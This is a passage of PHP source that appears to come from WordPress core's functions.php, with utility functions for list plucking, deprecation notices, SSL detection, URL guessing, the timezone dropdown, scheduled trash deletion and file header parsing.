$to_match = (array) $obj;

$matched = 0;

foreach ( $args as $m_key => $m_value ) {

if ( array_key_exists( $m_key, $to_match ) && $m_value == $to_match[ $m_key ] )

$matched++;

}

if ( ( 'AND' == $operator && $matched == $count )

|| ( 'OR' == $operator && $matched > 0 )

|| ( 'NOT' == $operator && 0 == $matched ) ) {

$filtered[$key] = $obj;

}

}

return $filtered;

}

/**

* Pluck a certain field out of each object in a list.

*

* This has the same functionality and prototype of

* array_column() (PHP 5.5) but also supports objects.

*

* @since 3.1.0

* @since 4.0.0 $index_key parameter added.

*

* @param array $list List of objects or arrays

* @param int|string $field Field from the object to place instead of the entire object

* @param int|string $index_key Optional. Field from the object to use as keys for the new array.

* Default null.

* @return array Array of found values. If $index_key is set, an array of found values with keys

* corresponding to $index_key.

*/

function wp_list_pluck( $list, $field, $index_key = null ) {

if ( ! $index_key ) {

/*

* This is simple. Could at some point wrap array_column()

* if we knew we had an array of arrays.

*/

foreach ( $list as $key => $value ) {

if ( is_object( $value ) ) {

$list[ $key ] = $value->$field;

} else {

$list[ $key ] = $value[ $field ];

}

}

return $list;

}

/*

* When index_key is not set for a particular item, push the value

* to the end of the stack. This is how array_column() behaves.

*/

$newlist = array();

foreach ( $list as $value ) {

if ( is_object( $value ) ) {

if ( isset( $value->$index_key ) ) {

$newlist[ $value->$index_key ] = $value->$field;

} else {

$newlist[] = $value->$field;

}

} else {

if ( isset( $value[ $index_key ] ) ) {

$newlist[ $value[ $index_key ] ] = $value[ $field ];

} else {

$newlist[] = $value[ $field ];

}

}

}

return $newlist;

}

/**

* Determines if Widgets library should be loaded.

*

* Checks to make sure that the widgets library hasn't already been loaded.

* If it hasn't, then it will load the widgets library and run an action hook.

*

* @since 2.2.0

*/

function wp_maybe_load_widgets() {

/**

* Filter whether to load the Widgets library.

*

* Passing a falsey value to the filter will effectively short-circuit

* the Widgets library from loading.

*

* @since 2.8.0

*

* @param bool $wp_maybe_load_widgets Whether to load the Widgets library.

* Default true.

*/

if ( ! apply_filters( 'load_default_widgets', true ) ) {

return;

}

require_once( ABSPATH . WPINC . '/default-widgets.php' );

add_action( '_admin_menu', 'wp_widgets_add_menu' );

}

/**

* Append the Widgets menu to the themes main menu.

*

* @since 2.2.0

*/

function wp_widgets_add_menu() {

global $submenu;

if ( ! current_theme_supports( 'widgets' ) )

return;

$submenu['themes.php'][7] = array( __( 'Widgets' ), 'edit_theme_options', 'widgets.php' );

ksort( $submenu['themes.php'], SORT_NUMERIC );

}

/**

* Flush all output buffers for PHP 5.2.

*

* Make sure all output buffers are flushed before our singletons are destroyed.

*

* @since 2.2.0

*/

function wp_ob_end_flush_all() {

$levels = ob_get_level();

for ($i=0; $i<$levels; $i++)

ob_end_flush();

}

/**

* Load custom DB error or display WordPress DB error.

*

* If a file exists in the wp-content directory named db-error.php, then it will

* be loaded instead of displaying the WordPress DB error. If it is not found,

* then the WordPress DB error will be displayed instead.

*

* The WordPress DB error sets the HTTP status header to 500 to try to prevent

* search engines from caching the message. Custom DB messages should do the

* same.

*

* This function was backported to WordPress 2.3.2, but originally was added

* in WordPress 2.5.0.

*

* @since 2.3.2

*

* @global wpdb $wpdb WordPress database abstraction object.

*/

function dead_db() {

global $wpdb;

wp_load_translations_early();

// Load custom DB error template, if present.

if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {

require_once( WP_CONTENT_DIR . '/db-error.php' );

die();

}

// If installing or in the admin, provide the verbose message.

if ( defined('WP_INSTALLING') || defined('WP_ADMIN') )

wp_die($wpdb->error);

// Otherwise, be terse.

status_header( 500 );

nocache_headers();

header( 'Content-Type: text/html; charset=utf-8' );

?>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title><?php _e( 'Database Error' ); ?></title>

</head>

<body>

<h1><?php _e( 'Error establishing a database connection' ); ?></h1>

</body>

</html>

<?php

die();

}

/**

* Convert a value to non-negative integer.

*

* @since 2.5.0

*

* @param mixed $maybeint Data you wish to have converted to a non-negative integer.

* @return int A non-negative integer.

*/

function absint( $maybeint ) {

return abs( intval( $maybeint ) );

}

/**

* Mark a function as deprecated and inform when it has been used.

*

* There is a hook deprecated_function_run that will be called that can be used

* to get the backtrace up to what file and function called the deprecated

* function.

*

* The current behavior is to trigger a user error if WP_DEBUG is true.

*

* This function is to be used in every function that is deprecated.

*

* @since 2.5.0

* @access private

*

* @param string $function The function that was called.

* @param string $version The version of WordPress that deprecated the function.

* @param string $replacement Optional. The function that should have been called. Default null.

*/

function _deprecated_function( $function, $version, $replacement = null ) {

/**

* Fires when a deprecated function is called.

*

* @since 2.5.0

*

* @param string $function The function that was called.

* @param string $replacement The function that should have been called.

* @param string $version The version of WordPress that deprecated the function.

*/

do_action( 'deprecated_function_run', $function, $replacement, $version );

/**

* Filter whether to trigger an error for deprecated functions.

*

* @since 2.5.0

*

* @param bool $trigger Whether to trigger the error for deprecated functions. Default true.

*/

if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {

if ( function_exists( '__' ) ) {

if ( ! is_null( $replacement ) )

trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $function, $version, $replacement ) );

else

trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );

} else {

if ( ! is_null( $replacement ) )

trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $function, $version, $replacement ) );

else

trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );

}

}

}

/**

* Mark a file as deprecated and inform when it has been used.

*

* There is a hook deprecated_file_included that will be called that can be used

* to get the backtrace up to what file and function included the deprecated

* file.

*

* The current behavior is to trigger a user error if WP_DEBUG is true.

*

* This function is to be used in every file that is deprecated.

*

* @since 2.5.0

* @access private

*

* @param string $file The file that was included.

* @param string $version The version of WordPress that deprecated the file.

* @param string $replacement Optional. The file that should have been included based on ABSPATH.

* Default null.

* @param string $message Optional. A message regarding the change. Default empty.

*/

function _deprecated_file( $file, $version, $replacement = null, $message = '' ) {

/**

* Fires when a deprecated file is called.

*

* @since 2.5.0

*

* @param string $file The file that was called.

* @param string $replacement The file that should have been included based on ABSPATH.

* @param string $version The version of WordPress that deprecated the file.

* @param string $message A message regarding the change.

*/

do_action( 'deprecated_file_included', $file, $replacement, $version, $message );

/**

* Filter whether to trigger an error for deprecated files.

*

* @since 2.5.0

*

* @param bool $trigger Whether to trigger the error for deprecated files. Default true.

*/

if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) {

$message = empty( $message ) ? '' : ' ' . $message;

if ( function_exists( '__' ) ) {

if ( ! is_null( $replacement ) )

trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $file, $version, $replacement ) . $message );

else

trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $file, $version ) . $message );

} else {

if ( ! is_null( $replacement ) )

trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message );

else

trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $file, $version ) . $message );

}

}

}

/**

* Mark a function argument as deprecated and inform when it has been used.

*

* This function is to be used whenever a deprecated function argument is used.

* Before this function is called, the argument must be checked for whether it was

* used by comparing it to its default value or evaluating whether it is empty.

* For example:

*

* if ( ! empty( $deprecated ) ) {

* _deprecated_argument( __FUNCTION__, '3.0' );

* }

*

*

* There is a hook deprecated_argument_run that will be called that can be used

* to get the backtrace up to what file and function used the deprecated

* argument.

*

* The current behavior is to trigger a user error if WP_DEBUG is true.

*

* @since 3.0.0

* @access private

*

* @param string $function The function that was called.

* @param string $version The version of WordPress that deprecated the argument used.

* @param string $message Optional. A message regarding the change. Default null.

*/

function _deprecated_argument( $function, $version, $message = null ) {

/**

* Fires when a deprecated argument is called.

*

* @since 3.0.0

*

* @param string $function The function that was called.

* @param string $message A message regarding the change.

* @param string $version The version of WordPress that deprecated the argument used.

*/

do_action( 'deprecated_argument_run', $function, $message, $version );

/**

* Filter whether to trigger an error for deprecated arguments.

*

* @since 3.0.0

*

* @param bool $trigger Whether to trigger the error for deprecated arguments. Default true.

*/

if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) {

if ( function_exists( '__' ) ) {

if ( ! is_null( $message ) )

trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s'), $function, $version, $message ) );

else

trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );

} else {

if ( ! is_null( $message ) )

trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s', $function, $version, $message ) );

else

trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );

}

}

}

/**

* Mark something as being incorrectly called.

*

* There is a hook doing_it_wrong_run that will be called that can be used

* to get the backtrace up to what file and function called the deprecated

* function.

*

* The current behavior is to trigger a user error if WP_DEBUG is true.

*

* @since 3.1.0

* @access private

*

* @param string $function The function that was called.

* @param string $message A message explaining what has been done incorrectly.

* @param string $version The version of WordPress where the message was added.

*/

function _doing_it_wrong( $function, $message, $version ) {

/**

* Fires when the given function is being used incorrectly.

*

* @since 3.1.0

*

* @param string $function The function that was called.

* @param string $message A message explaining what has been done incorrectly.

* @param string $version The version of WordPress where the message was added.

*/

do_action( 'doing_it_wrong_run', $function, $message, $version );

/**

* Filter whether to trigger an error for _doing_it_wrong() calls.

*

* @since 3.1.0

*

* @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true.

*/

if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true ) ) {

if ( function_exists( '__' ) ) {

$version = is_null( $version ) ? '' : sprintf( __( '(This message was added in version %s.)' ), $version );

$message .= ' ' . __( 'Please see <a href="http://codex.wordpress.org/Debugging_in_WordPress">Debugging in WordPress</a> for more information.' );

trigger_error( sprintf( __( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s' ), $function, $message, $version ) );

} else {

$version = is_null( $version ) ? '' : sprintf( '(This message was added in version %s.)', $version );

$message .= ' Please see <a href="http://codex.wordpress.org/Debugging_in_WordPress">Debugging in WordPress</a> for more information.';

trigger_error( sprintf( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s', $function, $message, $version ) );

}

}

}

/**

* Is the server running earlier than 1.5.0 version of lighttpd?

*

* @since 2.5.0

*

* @return bool Whether the server is running lighttpd < 1.5.0.

*/

function is_lighttpd_before_150() {

$server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] )? $_SERVER['SERVER_SOFTWARE'] : '' );

$server_parts[1] = isset( $server_parts[1] )? $server_parts[1] : '';

return 'lighttpd' == $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' );

}

/**

* Does the specified module exist in the Apache config?

*

* @since 2.5.0

*

* @param string $mod The module, e.g. mod_rewrite.

* @param bool $default Optional. The default return value if the module is not found. Default false.

* @return bool Whether the specified module is loaded.

*/

function apache_mod_loaded($mod, $default = false) {

global $is_apache;

if ( !$is_apache )

return false;

if ( function_exists( 'apache_get_modules' ) ) {

$mods = apache_get_modules();

if ( in_array($mod, $mods) )

return true;

} elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) {

ob_start();

phpinfo(8);

$phpinfo = ob_get_clean();

if ( false !== strpos($phpinfo, $mod) )

return true;

}

return $default;

}

/**

* Check if IIS 7+ supports pretty permalinks.

*

* @since 2.8.0

*

* @return bool Whether IIS7 supports permalinks.

*/

function iis7_supports_permalinks() {

global $is_iis7;

$supports_permalinks = false;

if ( $is_iis7 ) {

/* First we check if the DOMDocument class exists. If it does not exist, then we cannot

* easily update the xml configuration file, hence we just bail out and tell user that

* pretty permalinks cannot be used.

*

* Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When

* URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.

* Lastly we make sure that PHP is running via FastCGI. This is important because if it runs

* via ISAPI then pretty permalinks will not work.

*/

$supports_permalinks = class_exists('DOMDocument') && isset($_SERVER['IIS_UrlRewriteModule']) && ( php_sapi_name() == 'cgi-fcgi' );

}

/**

* Filter whether IIS 7+ supports pretty permalinks.

*

* @since 2.8.0

*

* @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false.

*/

return apply_filters( 'iis7_supports_permalinks', $supports_permalinks );

}

/**

* File validates against allowed set of defined rules.

*

* A return value of '1' means that the $file contains either '..' or './'. A

* return value of '2' means that the $file contains ':' after the first

* character. A return value of '3' means that the file is not in the allowed

* files list.

*

* @since 1.2.0

*

* @param string $file File path.

* @param array $allowed_files List of allowed files.

* @return int 0 means nothing is wrong, greater than 0 means something was wrong.

*/

function validate_file( $file, $allowed_files = '' ) {

if ( false !== strpos( $file, '..' ) )

return 1;

if ( false !== strpos( $file, './' ) )

return 1;

if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files ) )

return 3;

if (':' == substr( $file, 1, 1 ) )

return 2;

return 0;

}

/**

* Determine if SSL is used.

*

* @since 2.6.0

*

* @return bool True if SSL, false if not used.

*/

function is_ssl() {

if ( isset($_SERVER['HTTPS']) ) {

if ( 'on' == strtolower($_SERVER['HTTPS']) )

return true;

if ( '1' == $_SERVER['HTTPS'] )

return true;

} elseif ( isset($_SERVER['SERVER_PORT']) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {

return true;

}

return false;

}

/**

* Whether SSL login should be forced.

*

* @since 2.6.0

*

* @see force_ssl_admin()

*

* @param string|bool $force Optional Whether to force SSL login. Default null.

* @return bool True if forced, false if not forced.

*/

function force_ssl_login( $force = null ) {

return force_ssl_admin( $force );

}

/**

* Whether to force SSL used for the Administration Screens.

*

* @since 2.6.0

*

* @param string|bool $force Optional. Whether to force SSL in admin screens. Default null.

* @return bool True if forced, false if not forced.

*/

function force_ssl_admin( $force = null ) {

static $forced = false;

if ( !is_null( $force ) ) {

$old_forced = $forced;

$forced = $force;

return $old_forced;

}

return $forced;

}

/**

* Guess the URL for the site.

*

* Will remove wp-admin links to retrieve only return URLs not in the wp-admin

* directory.

*

* @since 2.6.0

*

* @return string The guessed URL.

*/

function wp_guess_url() {

if ( defined('WP_SITEURL') && '' != WP_SITEURL ) {

$url = WP_SITEURL;

} else {

$abspath_fix = str_replace( '\\', '/', ABSPATH );

$script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] );

// The request is for the admin

if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) {

$path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] );

// The request is for a file in ABSPATH

} elseif ( $script_filename_dir . '/' == $abspath_fix ) {

// Strip off any file/query params in the path

$path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] );

} else {

if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) {

// Request is hitting a file inside ABSPATH

$directory = str_replace( ABSPATH, '', $script_filename_dir );

// Strip off the sub directory, and any file/query paramss

$path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] );

} elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) {

// Request is hitting a file above ABSPATH

$subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) );

// Strip off any file/query params from the path, appending the sub directory to the install

$path = preg_replace( '#/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] ) . $subdirectory;

} else {

$path = $_SERVER['REQUEST_URI'];

}

}

$schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet

$url = $schema . $_SERVER['HTTP_HOST'] . $path;

}

return rtrim($url, '/');

}

/**

* Temporarily suspend cache additions.

*

* Stops more data being added to the cache, but still allows cache retrieval.

* This is useful for actions, such as imports, when a lot of data would otherwise

* be almost uselessly added to the cache.

*

* Suspension lasts for a single page load at most. Remember to call this

* function again if you wish to re-enable cache adds earlier.

*

* @since 3.3.0

*

* @param bool $suspend Optional. Suspends additions if true, re-enables them if false.

* @return bool The current suspend setting

*/

function wp_suspend_cache_addition( $suspend = null ) {

static $_suspend = false;

if ( is_bool( $suspend ) )

$_suspend = $suspend;

return $_suspend;

}

/**

* Suspend cache invalidation.

*

* Turns cache invalidation on and off. Useful during imports where you don't wont to do

* invalidations every time a post is inserted. Callers must be sure that what they are

* doing won't lead to an inconsistent cache when invalidation is suspended.

*

* @since 2.7.0

*

* @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true.

* @return bool The current suspend setting.

*/

function wp_suspend_cache_invalidation( $suspend = true ) {

global $_wp_suspend_cache_invalidation;

$current_suspend = $_wp_suspend_cache_invalidation;

$_wp_suspend_cache_invalidation = $suspend;

return $current_suspend;

}

/**

* Determine whether a site is the main site of the current network.

*

* @since 3.0.0

*

* @param int $site_id Optional. Site ID to test. Defaults to current site.

* Defaults to current site.

* @return bool True if $site_id is the main site of the network, or if not

* running Multisite.

*/

function is_main_site( $site_id = null ) {

// This is the current network's information; 'site' is old terminology.

global $current_site;

if ( ! is_multisite() )

return true;

if ( ! $site_id )

$site_id = get_current_blog_id();

return (int) $site_id === (int) $current_site->blog_id;

}

/**

* Determine whether a network is the main network of the Multisite install.

*

* @since 3.7.0

*

* @param int $network_id Optional. Network ID to test. Defaults to current network.

* @return bool True if $network_id is the main network, or if not running Multisite.

*/

function is_main_network( $network_id = null ) {

global $wpdb;

if ( ! is_multisite() )

return true;

$current_network_id = (int) get_current_site()->id;

if ( ! $network_id )

$network_id = $current_network_id;

$network_id = (int) $network_id;

if ( defined( 'PRIMARY_NETWORK_ID' ) )

return $network_id === (int) PRIMARY_NETWORK_ID;

if ( 1 === $current_network_id )

return $network_id === $current_network_id;

$primary_network_id = (int) wp_cache_get( 'primary_network_id', 'site-options' );

if ( $primary_network_id )

return $network_id === $primary_network_id;

$primary_network_id = (int) $wpdb->get_var( "SELECT id FROM $wpdb->site ORDER BY id LIMIT 1" );

wp_cache_add( 'primary_network_id', $primary_network_id, 'site-options' );

return $network_id === $primary_network_id;

}

/**

* Determine whether global terms are enabled.

*

* @since 3.0.0

*

* @return bool True if multisite and global terms enabled.

*/

function global_terms_enabled() {

if ( ! is_multisite() )

return false;

static $global_terms = null;

if ( is_null( $global_terms ) ) {

/**

* Filter whether global terms are enabled.

*

* Passing a non-null value to the filter will effectively short-circuit the function,

* returning the value of the 'global_terms_enabled' site option instead.

*

* @since 3.0.0

*

* @param null $anbled Whether global terms are enabled.

*/

$filter = apply_filters( 'global_terms_enabled', null );

if ( ! is_null( $filter ) )

$global_terms = (bool) $filter;

else

$global_terms = (bool) get_site_option( 'global_terms_enabled', false );

}

return $global_terms;

}

/**

* gmt_offset modification for smart timezone handling.

*

* Overrides the gmt_offset option if we have a timezone_string available.

*

* @since 2.8.0

*

* @return float|bool Timezone GMT offset, false otherwise.

*/

function wp_timezone_override_offset() {

if ( !$timezone_string = get_option( 'timezone_string' ) ) {

return false;

}

$timezone_object = timezone_open( $timezone_string );

$datetime_object = date_create();

if ( false === $timezone_object || false === $datetime_object ) {

return false;

}

return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 );

}

/**

* Sort-helper for timezones.

*

* @since 2.9.0

* @access private

*

* @param array $a

* @param array $b

* @return int

*/

function _wp_timezone_choice_usort_callback( $a, $b ) {

// Don't use translated versions of Etc

if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {

// Make the order of these more like the old dropdown

if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) {

return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );

}

if ( 'UTC' === $a['city'] ) {

if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) {

return 1;

}

return -1;

}

if ( 'UTC' === $b['city'] ) {

if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) {

return -1;

}

return 1;

}

return strnatcasecmp( $a['city'], $b['city'] );

}

if ( $a['t_continent'] == $b['t_continent'] ) {

if ( $a['t_city'] == $b['t_city'] ) {

return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );

}

return strnatcasecmp( $a['t_city'], $b['t_city'] );

} else {

// Force Etc to the bottom of the list

if ( 'Etc' === $a['continent'] ) {

return 1;

}

if ( 'Etc' === $b['continent'] ) {

return -1;

}

return strnatcasecmp( $a['t_continent'], $b['t_continent'] );

}

}

/**

* Gives a nicely-formatted list of timezone strings.

*

* @since 2.9.0

*

* @param string $selected_zone Selected timezone.

* @return string

*/

function wp_timezone_choice( $selected_zone ) {

static $mo_loaded = false;

$continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific');

// Load translations for continents and cities

if ( !$mo_loaded ) {

$locale = get_locale();

$mofile = WP_LANG_DIR . '/continents-cities-' . $locale . '.mo';

load_textdomain( 'continents-cities', $mofile );

$mo_loaded = true;

}

$zonen = array();

foreach ( timezone_identifiers_list() as $zone ) {

$zone = explode( '/', $zone );

if ( !in_array( $zone[0], $continents ) ) {

continue;

}

// This determines what gets set and translated - we don't translate Etc/* strings here, they are done later

$exists = array(

0 => ( isset( $zone[0] ) && $zone[0] ),

1 => ( isset( $zone[1] ) && $zone[1] ),

2 => ( isset( $zone[2] ) && $zone[2] ),

);

$exists[3] = ( $exists[0] && 'Etc' !== $zone[0] );

$exists[4] = ( $exists[1] && $exists[3] );

$exists[5] = ( $exists[2] && $exists[3] );

$zonen[] = array(

'continent' => ( $exists[0] ? $zone[0] : '' ),

'city' => ( $exists[1] ? $zone[1] : '' ),

'subcity' => ( $exists[2] ? $zone[2] : '' ),

't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),

't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),

't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' )

);

}

usort( $zonen, '_wp_timezone_choice_usort_callback' );

$structure = array();

if ( empty( $selected_zone ) ) {

$structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>';

}

foreach ( $zonen as $key => $zone ) {

// Build value in an array to join later

$value = array( $zone['continent'] );

if ( empty( $zone['city'] ) ) {

// It's at the continent level (generally won't happen)

$display = $zone['t_continent'];

} else {

// It's inside a continent group

// Continent optgroup

if ( !isset( $zonen[$key - 1] ) || $zonen[$key - 1]['continent'] !== $zone['continent'] ) {

$label = $zone['t_continent'];

$structure[] = '<optgroup label="'. esc_attr( $label ) .'">';

}

// Add the city to the value

$value[] = $zone['city'];

$display = $zone['t_city'];

if ( !empty( $zone['subcity'] ) ) {

// Add the subcity to the value

$value[] = $zone['subcity'];

$display .= ' - ' . $zone['t_subcity'];

}

}

// Build the value

$value = join( '/', $value );

$selected = '';

if ( $value === $selected_zone ) {

$selected = 'selected="selected" ';

}

$structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . "</option>";

// Close continent optgroup

if ( !empty( $zone['city'] ) && ( !isset($zonen[$key + 1]) || (isset( $zonen[$key + 1] ) && $zonen[$key + 1]['continent'] !== $zone['continent']) ) ) {

$structure[] = '</optgroup>';

}

}

// Do UTC

$structure[] = '<optgroup label="'. esc_attr__( 'UTC' ) .'">';

$selected = '';

if ( 'UTC' === $selected_zone )

$selected = 'selected="selected" ';

$structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '">' . __('UTC') . '</option>';

$structure[] = '</optgroup>';

// Do manual UTC offsets

$structure[] = '<optgroup label="'. esc_attr__( 'Manual Offsets' ) .'">';

$offset_range = array (-12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5,

0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14);

foreach ( $offset_range as $offset ) {

if ( 0 <= $offset )

$offset_name = '+' . $offset;

else

$offset_name = (string) $offset;

$offset_value = $offset_name;

$offset_name = str_replace(array('.25','.5','.75'), array(':15',':30',':45'), $offset_name);

$offset_name = 'UTC' . $offset_name;

$offset_value = 'UTC' . $offset_value;

$selected = '';

if ( $offset_value === $selected_zone )

$selected = 'selected="selected" ';

$structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '">' . esc_html( $offset_name ) . "</option>";

}

$structure[] = '</optgroup>';

return join( "\n", $structure );

}

/**

* Strip close comment and close php tags from file headers used by WP.

*

* @since 2.8.0

* @access private

*

* @see https://core.trac.wordpress.org/ticket/8497

*

* @param string $str Header comment to clean up.

* @return string

*/

function _cleanup_header_comment( $str ) {

return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str));

}

/**

* Permanently delete posts, pages, attachments, and comments which have been

* in the trash for EMPTY_TRASH_DAYS.

*

* @since 2.9.0

*/

function wp_scheduled_delete() {

global $wpdb;

$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );

$posts_to_delete = $wpdb->get_results($wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < '%d'", $delete_timestamp), ARRAY_A);

foreach ( (array) $posts_to_delete as $post ) {

$post_id = (int) $post['post_id'];

if ( !$post_id )

continue;

$del_post = get_post($post_id);

if ( !$del_post || 'trash' != $del_post->post_status ) {

delete_post_meta($post_id, '_wp_trash_meta_status');

delete_post_meta($post_id, '_wp_trash_meta_time');

} else {

wp_delete_post($post_id);

}

}

$comments_to_delete = $wpdb->get_results($wpdb->prepare("SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < '%d'", $delete_timestamp), ARRAY_A);

foreach ( (array) $comments_to_delete as $comment ) {

$comment_id = (int) $comment['comment_id'];

if ( !$comment_id )

continue;

$del_comment = get_comment($comment_id);

if ( !$del_comment || 'trash' != $del_comment->comment_approved ) {

delete_comment_meta($comment_id, '_wp_trash_meta_time');

delete_comment_meta($comment_id, '_wp_trash_meta_status');

} else {

wp_delete_comment($comment_id);

}

}

}

/**

* Retrieve metadata from a file.

*

* Searches for metadata in the first 8kiB of a file, such as a plugin or theme.

* Each piece of metadata must be on its own line. Fields can not span multiple

* lines, the value will get cut at the end of the first line.

*

* If the file data is not within that first 8kiB, then the author should correct

* their plugin file and move the data headers to the top.

*

* @link http://codex.wordpress.org/File_Header

*

* @since 2.9.0

*

* @param string $file Path to the file.

* @param array $default_headers List of headers, in the format array('HeaderKey' => 'Header Name').

* @param string $context Optional. If specified adds filter hook "extra_{$context}_headers".

* Default empty.

* @return array Array of file headers in `HeaderKey => Header Value` format.

*/

function get_file_data( $file, $default_headers, $context = '' ) {

// We don't need to write to the file, so just open for reading.

$fp = fopen( $file, 'r' );

// Pull only the first 8kiB of the file in.

$file_data = fread( $fp, 8192 );

// PHP will close file handle, but we are good citizens.

fclose( $fp );

// Make sure we catch CR-only line endings.

$file_data = str_replace( "\r", "\n", $file_data );

/**

* Filter extra file headers by context.

*

* The dynamic portion of the hook name, `$context`, refers to

* the context where extra headers might be loaded.

*

* @since 2.9.0

*

* @param array $extra_context_headers Empty array by default.

*/

if ( $context && $extra_headers = apply_filters( "extra_{$context}_headers", array() ) ) {

$extra_headers = array_combine( $extra_headers, $extra_headers ); // keys equal values

$all_headers = array_merge( $extra_headers, (array) $default_headers );

} else {

$all_headers = $default_headers;

}

foreach ( $all_headers as $field => $regex ) {

if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] )

$all_headers[ $field ] = _cleanup_header_comment( $match[1] );

else

$all_headers[ $field ] = '';

}

return $all_headers;

}

/**

* Returns true.

*

* Useful for returning true to filters easily.

*

* @since 3.0.0

*

* @see __return_false()

*

* @return bool True.

*/

function __return_true() {

return true;

}

/**

* Returns false.

*

* Useful for returning false to filters easily.

*

* @since 3.0.0

*

* @see __return_true()

*

* @return bool False.

*/

function __return_false() {

return false;

}

/**

* Returns 0.

*

* Useful for returning 0 to filters easily.

*

* @since 3.0.0

*

* @return int 0.

*/

function __return_zero() {

return 0;

}

/**

* Returns an empty array.

*

* Useful for returning an empty array to filters easily.

*

* @since 3.0.0

*

* @return array Empty array.

*/

function __return_empty_array() {

return array();

}

/**

* Returns null.

*

* Useful for returning null to filters easily.

*

* @since 3.4.0

*

* @return null Null value.

*/

function __return_null() {

return null;

}

/**

* Returns an empty string.

*

* Useful for returning an empty string to filters easily.

*

* @since 3.7.0

*

* @see __return_null()

*

* @return string Empty string.

*/

function __return_empty_string() {

return '';

}

/**

* Send a HTTP header to disable content type sniffing in browsers which support it.

*

* @since 3.0.0

*

* @see http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx

* @see http://src.chromium.org/viewvc/chrome?view=rev&revision=6985

*/

function send_nosniff_header() {

